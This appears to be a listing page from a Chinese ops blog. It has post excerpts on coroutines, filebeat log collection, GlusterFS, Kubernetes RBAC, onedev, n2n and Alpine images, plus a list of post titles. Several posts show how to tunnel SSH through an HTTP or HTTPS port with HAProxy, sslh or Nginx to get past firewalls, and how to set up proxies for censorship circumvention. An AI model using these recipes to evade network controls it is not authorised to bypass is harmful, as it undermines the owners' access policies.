这个跟 nodejs 的回调函数基本一样，我们必须注意主进程和协程的关系，如果我在一个主进程中，触发协程函数，有100个协程，那么必须等待100个协程都结束后，才能回到正常的那个主进程中。当然，主进程也可能也是一个协程。

那么协程的基本用法

async f(n) 声明一个函数是协程的
await f(n) 挂起当前协程，把控制权交回 event loop，并且执行f(n)和注册之后的f(n)回调。

举个例子：如果在 g() 这个函数中执行了 await f()，那么g()函数会被挂起，并等待 f() 函数有结果结束，然后返回 g() 继续执行。

async def get(url):
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response: 
            return await response.text()

最后一行 await 是挂起命令，挂起当前函数 get() ，并执行 response.text() 和注册回调，等待 response.text() 执行完成后重新激活当前函數get()继续执行，返回。

kubernetes使用filebeat multiline自定义收集日志

Thu, 11 Nov 2021 09:30:11 +0800

我们介绍了如何在 kubernetes 环境中使用 filebeat sidecar 方式收集日志

使用的是 filebeat 的 moudle 模块，但凡是常用的软件，基本都有对应的模块可用，所以我们首先应该使用模块来收集日志。

那对于一些我们自己写的 Go 软件呢，或者根本不是标准的，那该怎么办呢？

那就自定义 filebeat.inputs，网上的 filebeat 例子，其实大多都是这样的

很简单，给个例子

[beat-logstash-some-name-832-2015.11.28] IndexNotFoundException[no such index]
    at org.elasticsearch.cluster.metadata.(IndexNameExpressionResolver.java:566)
    at org.elasticsearch.cluster.metadata.(IndexNameExpressionResolver.java:133)
    at org.elasticsearch.cluster.metadata.(IndexNameExpressionResolver.java:77)
    at org.elasticsearch.action.admin..checkBlock(TransportDeleteIndexAction.java:75)

看如上日志，如果不用模式匹配的话，那么会送5条记录到 ES， Kibana 看起来就十分割裂了。

所以要用正则把底下的4行和上面的第1行合在一起，合并成一条就记录推送到 ES 去

仔细观察，开头一行是以 [ 开始的，所以正则就是 ‘^\[’，我们要匹配的是底下的4行，必须反转一下模式。

multiline 的 negate 属性，这个是指定是否反转匹配到的内容，这里如果是 true 的话，反转，那就是选择不以 [ 开头的行。 netgate 属性的缺省值是 false

multiline 的 match 属性，after 指追加到上一条事件（向上合并），before 指合并到下一条（向下合并）

于是，我们就可以写出以下的匹配模式，这样就把匹配到条目追加到上一条，合并在一起了：

filebeat.inputs:
  - type: log
    enabled: true
    paths:
      - /Users/liuxg/data/multiline/multiline.log
    multiline.type: pattern
    multiline.pattern: '^\['
    multiline.negate: true
    multiline.match: after

output.elasticsearch:
 hosts: ["localhost:9200"]
 index: "multiline"

再给个例子，java 的 stack 调用，日志格式如下：

生产环境kubernetes使用持久化卷GlusterFS

Wed, 10 Nov 2021 12:50:11 +0800

在生产环境使用 Kubernetes ，绕不过去的一个问题就是持久化卷。

如果是使用阿里 ACK 托管平台的话，可以用 OSS 来持久化卷，如果是自搭的 kubernetes，那么存储就需要仔细考虑了。

ceph比较复杂，容易出故障。nfs 也不可用，毛病多多。minio倒是可以。

这种情况下使用双副本的 GlusterFS 就是不错的选择。

生产环境就不能随意了，最好不要使用 Heketi，因为凡是要持久化的东西，都是比较重要的东西，最好都有 yaml 记录。

GlusterFS 的搭建就不说了。说说实际使用过程：

一、装GFS，生产新卷

安装就不说了，我们的GFS有两个节点，172.19.20.18 和 172.19.20.36，我们强制建立一个两副本的卷： kuaijian-vol

gluster volume create kuaijian-vol replica 2 transport tcp 172.19.20.18:/glusterfs/kuaijian-vol 172.19.20.36:/glusterfs/kuaijian-vol force

二、为k8s产生GFS的endingpoint和service

cat << EOF >> ep-svc.yaml
---
apiVersion: v1
kind: Service
metadata:
  name: gfs-cluster_svc 
spec:
  ports:
  - port: 1
---
apiVersion: v1
kind: Endpoints
metadata:
  name: gfs-cluster_svc 
subsets:
  - addresses:
      - ip: 172.19.20.18 
    ports:
      - port: 1 
  - addresses:
      - ip: 172.19.20.36 
    ports:
      - port: 1 
EOF

kubectl apply -f ep-svc.yaml

这里要提一个概念，通常情况下 service 是通过 selector 标签来选择对应的 pod 来增加 endingpoint 的。如下：

kubernetes生产环境使用filebeat sidecar收集日志

Wed, 10 Nov 2021 12:30:11 +0800

在生产环境中，ES 通常是不会在 k8s 集群中存在的，一般 MySQL 和 Elasticsearch 都是独立在 k8s 之外。

那么无论哪种 pod，要甩日志到 ES，最轻量的方案肯定是用 filebeat 甩过去了。

当然，如果是阿里的 ACK，logtail 和 logstore 配搭已经非常不错了，根本用不到 filebeat 和 ES。

可但是，我们不想为阿里 sls、logstore 出钱买单，就只能用 filebeat + ES 了

说一下 filebeat 的 sidecar 边车（僚机）用法：

如上图所示，简单说就是起一个 filebeat 的 logging-agent 边车（僚机），边车和主应用之间共享某个文件夹（mountPath），达到收集主应用日志并发送到 ES，而不用动 app-container 分毫。

我们以部署一个 Tomcat 应用为例来说明：

一、打造 filebeat 边车镜像

首先准备 Dockerfile

FROM alpine:3.12  

ARG VERSION=7.15.1  

COPY docker-entrypoint.sh /  

RUN set -x \  
    && cd /tmp \  
    && wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-${VERSION}-linux-x86_64.tar.gz \  
    && tar xzvf filebeat-${VERSION}-linux-x86_64.tar.gz \  
    && mv filebeat-${VERSION}-linux-x86_64 /opt \  
    && rm /tmp/* \  
    && chmod +x /docker-entrypoint.sh  


ENV PATH $PATH:/opt/filebeat-${VERSION}-linux-x86_64  

WORKDIR /opt/filebeat-${VERSION}-linux-x86_64  

ENTRYPOINT ["/docker-entrypoint.sh"]

我们以 alphine:3.12 为底版，然后下载 filebeat 7.15.1的二进制包并释放到 /opt 下，最后指定入口文件 /docker-entrypoint.sh

haproxy一个端口跑多个服务

Wed, 10 Nov 2021 09:50:00 +0800

我们选择 haproxy 1.8 版本以上的，编译安装到路径 /export/servers/haproxy

make TARGET=linux2628 PREFIX=/export/servers/haproxy USE_GETADDRINFO=1 USE_ZLIB=1 USE_REGPARM=1 USE_OPENSSL=1 \
  USE_SYSTEMD=1 USE_PCRE=1 USE_PCRE_JIT=1 USE_NS=1

make install PREFIX=/export/servers/haproxy

编辑 haproxy.conf 配置文件：

global 
  maxconn 5120  
  chroot /export/servers/haproxy   
  daemon 
  quiet 
  nbproc 2 
  pidfile /tmp/haproxy.pid

defaults 
  timeout connect 5s 
  timeout client 50s 
  timeout server 20s

listen http 
  bind :80 
  timeout client 1h 
  tcp-request inspect-delay 2s 
  acl is_http req_proto_http 
  tcp-request content accept if is_http 
  server server-http :8080
  use_backend ssh if !is_http

backend ssh 
  mode tcp 
  timeout server 1h 
  server server-ssh :22

解释一下：我们在 8080 端口开了 http 服务，在 22 端口开了 ssh 服务，80端口由 haproxy 做代理转发，首先判断客户端请求是否是 http 请求，如果是就转发到 8080 端口，如果不是，就转发到 22 端口，这样就实现了 80 端口同时跑 http 和 ssh 两个服务。

sslh的一个端口同时跑多个服务

Wed, 10 Nov 2021 09:30:11 +0800

Ucloud的机器在两会期间干脆端口全灭，firewall设置进来的端口全关闭！！！！！！

还好有个Global ssh的服务，可以 ssh ubuntu@111.129.37.89.ipssh.net

登录上去，注意，直接ssh ubuntu@111.129.37.89是不通的。

那我们就搭建一个SSLH服务，可以把ssh和openvpn以及ssl服务统统塞到一个端口22里

动手吧

1、修改openssh的端口从22端口改成2222，千万别重启，22这会先得归ssh用

2、安装sslh

sudo apt install sslh
vi /etc/default/sslh

找到Run=no
改成Run=yes

然后到下面，按需配置（不跑443的话可以不配）
DAEMON_OPTS="--user sslh --listen 0.0.0.0:22 --ssh 127.0.0.1:2222 --ssl 127.0.0.1:443 --openvpn 127.0.0.1:1194 --pidfile /var/run/sslh/sslh.pid --timeout 5"

3、配置sslh并且重启服务器

sudo systemctl enable sslh
sudo reboot

就搞定了

Nginx的一个端口同时跑SSH和HTTPS服务

Tue, 09 Nov 2021 10:30:11 +0800

这个要求挺古怪的，背景是防火墙只开了 nginx 443 端口。我也想同时 ssh 登录进去，但是F5没开IP

就只能这么干了，让 Nginx 一个端口跑多个服务

在 nginx.conf 加一段，stream 配置，nginx 的 ip 是 192.168.8.110：


#Multi Ports
stream {
    upstream ssh {
        server 192.168.8.112:22;
    }

    upstream https {
        server 192.168.8.111:443;
    }

    map $ssl_preread_protocol $upstream {
        default ssh;
        "TLSv1.2" https;
        "TLSv1.3" https;
        "TLSv1.1" https;
        "TLSv1.0" https;
    }

    # SSH and SSL on the same port
    server {
        listen 443;

        proxy_pass $upstream;
        ssl_preread on;
    }
}

测试一下：

Kubernetes创建普通账号

Tue, 09 Nov 2021 09:30:11 +0800

kubernetes 装好正常运行一段时间后，会出现要把研发和运维权限分开的场景：

比如：

给某个用户某一指定名称空间下的管理权限
给用户赋予集群的只读权限
…

非常麻烦，我们这里不讨论过多的概念，从运维的角度出发，简单实用化

我们需要明确三个RBAC最基本的概念

Role: 角色，它定义了一组规则，定义了一组对Kubernetes API对象的操作权限
RoleBinding: 定义了"被作用者"和"角色"的绑定关系
Subject: 被作用者，既可以是"人"，也可以是机器，当然也可以是 Kubernetes 中定义的用户(ServiceAccount主要负责kubernetes内置用户)

我们的操作过程流程如下，首先创建客户端证书；其次创建Role角色；再创建RoleBinding，把Subject和Role绑定，就完事了；最后一步是生成 kubectl 的配置文件。

一、创建客户端证书

我们以已建好的阿里 ACK 为例，或者自建好的 Kubernetes 也行；确定已经有了 .kube/config 配置文件，拥有集群最高权限，并且可以正常执行 kubectl 命令。

首先是生成证书，并向集群提出证书请求并签发，脚本如下：

#!/bin/sh  

useraccount=reader

openssl req -new -newkey rsa:4096 -nodes -keyout $useraccount-k8s.key -out $useraccount-k8s.csr -subj "/CN=$useraccount/O=devops"  
csr=$(cat $useraccount-k8s.csr | base64 | tr -d '\n')  
cat << EOF > k8s-csr.yaml  
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
  name: $useraccount-k8s-access
spec:
  groups:
  - system:authenticated
  request: $csr
  usages:
  - client auth
EOF
 

kubectl create -f k8s-csr.yaml  
kubectl certificate approve $useraccount-k8s-access  

kubectl get csr $useraccount-k8s-access -o jsonpath='{.status.certificate}' | base64 --decode > $useraccount-k8s-access.crt  
kubectl config view -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' --raw | base64 --decode - > k8s-ca.crt

解释一下：我们定义了一个用户CN=reader，然后向集群发送了证书请求并签发，最终从集群获得了 reader-k8s-access.crt 的客户端证书和 k8s-ca.crt 的 CA 证书。

clash的搭建教程

Mon, 08 Nov 2021 10:30:11 +0800

没啊办法，翻墙翻墙还是翻墙。

上游有若干 trojian 、v2ray 、sock5 、http各种各样的代理，这样多种的选择，那么就装一个 clash 客户端就可以全接管了。

说下我们的做法：找个小Linux做旁路由，DNS和网关都设置在这台机器上，局域网内的机器都通过这台上网。

我们用到的是 clash 的 Tproxy redir-host 和 udp-proxy 模式，这种模式比较强大。用就用最强大的。

安装很简单，操作系统 centos 或者 ubuntu 都行，项目地址：

https://github.com/Dreamacro/clash

说明书：

https://lancellc.gitbook.io/clash/clash-config-file/proxy-groups/load-balance

首先下载二进制文件，现在版本是 v1.7.1，解压后放到 /usr/local/bin 目录下

wget https://github.com/Dreamacro/clash/releases/download/v1.7.1/clash-linux-amd64-v1.7.1.gz
gzip -d clash-linux-amd64-v1.7.1.gz
chmod 755 clash-linux-amd64-v1.7.1
mv clash-linux-amd64-v1.7.1 /usr/local/bin

然后生成 clash.service

cat << EOF >> /etc/systemd/system/clash.service 
[Unit]
Description=clash service
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/clash-linux-amd64-v1.7.1
Restart=on-failure # or always, on-abort, etc

[Install]
WantedBy=multi-user.target
EOF

然后最重要的，就是配置文件了

我这里这个旁路由的设备 IP 地址是 192.168.2.2，网卡设备是 enp2s0

onedev构建一个实际java spring应用

Mon, 08 Nov 2021 09:30:11 +0800

上篇简单介绍了 onedev ，这篇我们具体拿个 java spring 的项目来实际编译一下

首先必须确认环境：

onedev 和 agent 都是用 root 安装运行的，然后已经安装了 docker，且 selinux 设置为 disabled，否则会出权限麻烦。

我们用的例子是 spring 的 petclinic，正常的 build 的步骤如下：

git clone https://github.com/spring-projects/spring-petclinic.git
cd spring-petclinic
./mvnw package

我们首先在 onedev 的 projects 新建一个项目 spring-boot

然后到 clone 下来的源代码目录下

cd spring-petclinic

git init
git add .
git commit -m "Spring boot demo project"

git remote add origin http://192.168.86.101:6610/spring-boot
git push --set-upstream origin master

这样就可以在 spring-boot 里看到代码了

然后看上图，有个紫色灯泡，Enable build support by adding.onedev-buildspec.yml，点那个链接

n2n一种peer to peer的VPN的使用

Fri, 05 Nov 2021 10:30:11 +0800

vpn的搭建一直是一个难解的题目，openvpn、ipsec、tinc 都在用，都不够简洁。

n2n 是一种 peer to peer 端到端的 vpn，搭建起来非常简单方便。必备利器

首先了解一下概念

n2n 的 vpn 分为两种角色，Supernode 超级节点和 Edgenode 边缘节点。

很简单，Supernode 最好是公网地址，需要开放端口供其它节点连接上来；剩余的 Edgenode 可以没有公网地址，各个 Edgenode 边缘节点之间会尝试绕过 Supernode 直接连接。这大大提高了节点之间通讯的效率。通讯是加密的，非常安全。

安装的话完全不用安装，直接一个命令就搞定了。

https://github.com/ntop/n2n

弄出两个可执行文件 supernode 和 edge 就好了

超级节点：

/usr/local/bin/supernode -p 11111 -v

边缘节点：

/usr/local/bin/edge -d n2n0 -c ThisisaSecret2012 -k Fuck2020 -a 192.168.0.2 -l 41.22.59.112:11111 -f

参数解释：

-d 生成的虚拟网卡的命名
-c community-name 同一组vpn节点的密码。大家看到启动 supernode 的时候没有任何参数，supdernode 只负责转发，且支持多组不同的 vpn。这里就是用来区分不同的 vpn 组的。
-k 密码，节点之间通讯是用的 twofish 加密算法
-a 节点的ip
-l supernode的ip和端口
-f 放到后台 daemon 执行

这样就建立好了，系统中会多出一张 n2n0 的网卡。

一站式Git软件onedev的安装使用

Fri, 05 Nov 2021 09:30:11 +0800

其实一直在用 github、gitlab、jenkins，但是 github 时不时的抽风， gitlab 的 runner 套 Docker in docker 的方法委实很难用。

所以 CI/CD 这一块反倒挺喜欢阿里云效这种简便易行的。但确实找不到其他合适且类似的软件。

从 V2EX 上看到一个老哥发的 onedev，是一个一站式的开源软件，这不就试试先

以 centos7 为例，安装过程如下：

一、安装 java 1.8 版本

rpm -ivh jdk-8u201-linux-x64.rpm

二、安装 git 高版本

缺省 centos7 和 epel 带的 git 版本太低，不符合要求，得加个新的源装新版本

yum -y install https://packages.endpoint.com/rhel/7/os/x86_64/endpoint-repo-1.7-1.x86_64.rpm
yum -y install git curl

三、安装配置 onedev

https://github.com/theonedev/onedev

下载压缩包，然后解压运行 bin/server.sh start ，很简洁，不错！

运行完打开 http://192.168.86.101:6610 进行初始配置，就两步就 ok 了。

三、例子

我们是要在正式生产环境用的，所以在 projects 新建一个项目 spring-boot，以 spring-petclinic 为例：

然后到源代码目录下

Haproxy的Zero downtime重启如何做

Thu, 04 Nov 2021 10:30:11 +0800

Nginx 可以用 kill -HUP 来重启，不会丢失已建连接。Haproxy 如何做才能做到 zero downtime 无缝重载呢？

做法如下：

一、配置

编译harpoxy的时候带上参数 USE_SYSTEMD，选择 Haproxy 1.8 以上版本

make TARGET=linux2628 USE_GETADDRINFO=1 USE_ZLIB=1 USE_REGPARM=1 USE_OPENSSL=1 \
  USE_SYSTEMD=1 USE_PCRE=1 USE_PCRE_JIT=1 USE_NS=1
make install

Haproxy无缝重载技术：

旧进程当前管理的连接根据 file descriptor 文件描述符通过 socket 套接字传输到新进程。
在这个过程中，文件socket（unix socket）的连接没有断开。
新进程在充当 master-worker 主工作者的同时执行此任务。

综上所述，通过使用unix socket来维护连接状态并在旧进程和新进程之间传递，防止了连接丢失。

haproxy 的运行使用 Systemd 重载，使用 -Ws 方式。（此外，在构建时必须启用 USE_SYSTEMD）

  -D : start as a daemon. The process detaches from the current terminal after
    forking, and errors are not reported anymore in the terminal. It is
    equivalent to the "daemon" keyword in the "global" section of the
    configuration. It is recommended to always force it in any init script so
    that a faulty configuration doesn't prevent the system from booting.

  -W : master-worker mode. It is equivalent to the "master-worker" keyword in
    the "global" section of the configuration. This mode will launch a "master"
    which will monitor the "workers". Using this mode, you can reload HAProxy
    directly by sending a SIGUSR2 signal to the master.  The master-worker mode
    is compatible either with the foreground or daemon mode.  It is
    recommended to use this mode with multiprocess and systemd.

  -Ws : master-worker mode with support of `notify` type of systemd service.
    This option is only available when HAProxy was built with `USE_SYSTEMD`
    build option enabled.

具体的启动脚本：/etc/systemd/system/haproxy.service

alphine镜像的使用技巧

Thu, 04 Nov 2021 09:30:11 +0800

用 alphine 镜像的一些常用技巧：

会随时增加：

一、修改源，用国外的源非常慢，替换成国内的中科大源

sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories

二、更新apk库

apk update

三、安装软件

#安装telnet
apk add busybox-extras

#安装curl
apk add curl

#安装时间组件
apk add tzdata

#更新并且安装软件
apk add --update tzdata

四、进入容器一步执行换源、更新、安装

sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories && apk update && apk add curl && apk add busybox-extras

五、解决缺少glibc库的问题

如果不ln会报错，原因是缺少glibc库！！！解决方法如下：

RUN mkdir /lib64 && \  
    ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86-64.so.2

六、一些调试的CMD

CMD ["/bin/bash", "-c", "while true; do echo hi; sleep 10; done"]

kubectl run curlpod --image=radial/busyboxplus:curl --command -- /bin/sh -c "while true; do echo hi; sleep 10; done"

七、pod的等待技巧

这儿里启动正式的pod之前，先临时起了两个容器等待其他服务的完成

alphine镜像中timezone的设定

Wed, 03 Nov 2021 11:30:11 +0800

我们都喜欢用 alphine 的镜像做底包，来生产自己的镜像

alphine 的底包的时间设定就非常重要了

直接给出 Dockerfile

FROM alpine:3.12

# latest certs
RUN apk add ca-certificates --no-cache && update-ca-certificates

# timezone support
ENV TZ=Asia/Shanghai
RUN apk add --update tzdata --no-cache &&\
    cp /usr/share/zoneinfo/${TZ} /etc/localtime &&\
    echo $TZ > /etc/timezone

# install chrony and place default conf which can be overridden with volume
RUN apk add --no-cache chrony && mkdir -p /etc/chrony
COPY chrony.conf /etc/chrony/.

# port exposed
EXPOSE 123/udp

# start
CMD [ "/usr/sbin/chronyd", "-d", "-s"]

时间设定重要的就是下面这几行

八戒的技术博客

ComfyUI配置z-image-turbo工作流生成图片

自荐一个Kubernetes的日志采集软件

软件最大优势

采集容器内自定义文件

大语言模型TranslateGemma的实际应用

Postgres的恢复之三

一、建立**Point-in-Time Recovery (PITR)**归档

二、建立每6小时的full backup

三、恢复full backup

四、恢复WAL log归档备份

Livekit的安装

Claude Code如何使用ollama提供的qwen3:2.5B大模型来私网使用

一、Debian安装

二、Debian准备驱动

Claude Code如何使用openrouter提供的大模型来节省费用

一、gen出OpenRoute的API Key

二、安装配置薅Claude Code

三、配置连接Claude Code的连接

四、Cluaude工具链调用的模型选择

黄大善人免费的的nvidia glm和minimax模型应用于Claude Code

一、从官网进行获取api-key

二、如何使用

适用于claude code和codex的轻量级AI上下文引擎加上Prompt增强

Antigravity的使用注意

确认账号当前的国家或地区

修改账号当前的国家或地区

一个轻量级超级省钱的lxc平台containarium

Google学生号的申请

claude code的Ralph Wiggum编程模式和技巧

claude code的session历史回顾和继续工具

✨ 特性

如何用codex、claude code混合口嗨编程

Caddy配合zot实现ip白名单登录docker registry

薅羊毛之扣子编程

huggingface.co薅羊毛记

wispbyte.com薅羊毛记

Claude code的skills编写

一、我们首先准备这个可执行 python 脚本

整理下AI大模型厂商和平台，能长期稳定提供免费额度的API (非公益站) - 转自Linux.do

tldr

非稳定渠道

Vibe Coding 免费代码工具

腾讯云代码助手 CodeBuddy, 独立IDE

快手 CodeFlicker , 独立IDE

阿里 通义灵码 , 独立IDE

阿里 qwen-code, cli命令行

CLIProxyAPI反代antigravity单独走代理

魔搭、模力方舟、豆包免费文生图

Linux机器的历史命令查询和保存

关于学习，关于AI

Dev.to 上面有一篇深度好文，最近在孜孜不倦的学习AI，感觉什么Cluaude code、Codex、Gemini，各种模型纷至沓来，忙乱且自顾不暇。感觉很慌乱，看到了这篇好文，顿时安静下来。慢就是快，慢慢来！

Coding Without Pressure: How Slowing Down Helped Me Learn Faster

AWS的迁移替换

OPNSense配置配置wireguard

Ai时代的Blog换脸与字体压缩

LibreChat如何配置接入Azure

Milvus生产环境搭建

Minecraft自建服务器的搭建

生产环境Flink的搭建

Java进程cpu高排查

Kubernetes下各种资源的每日定期备份

AWS 放错在Private子网的机器如何用公网IP连进去

安装轻量级的Docker registry：zot

Caddy自动签发任意域名证书

AWS的ECS使用Fargate服务器如何开启shell进入容器调试

一、查看集群状态，看看任务定义的版本号，下面是206

二、去到相应的任务定义

三、返回到任务定义，使用JSON创建新修订

四、按照新版本，部署新任务

五、开启容器的shell

MongoDB的伪副本模式

cert-manager的不同clusterissuer验证方式

第一种情况，有公网IP的证书签发，验证方式是http

第二种情况，如果集群是部署在内网，根本没有公网ip，就不能通过80和443的验证来签发了，只能用DNS校验的方式来签发证书

OPNsense的远程安装并访问WEBGUI

一、下载iso镜像并解压

二、kvm用virt-install安装iso，注意桥接了2个网卡

三、vnc连到port 5901上进行安装配置

四、设置内网访问

一、建立Point-in-Time Recovery (PITR)归档

阿里通义灵码 , 独立IDE

`--add-host host.docker.internal:host-gateway`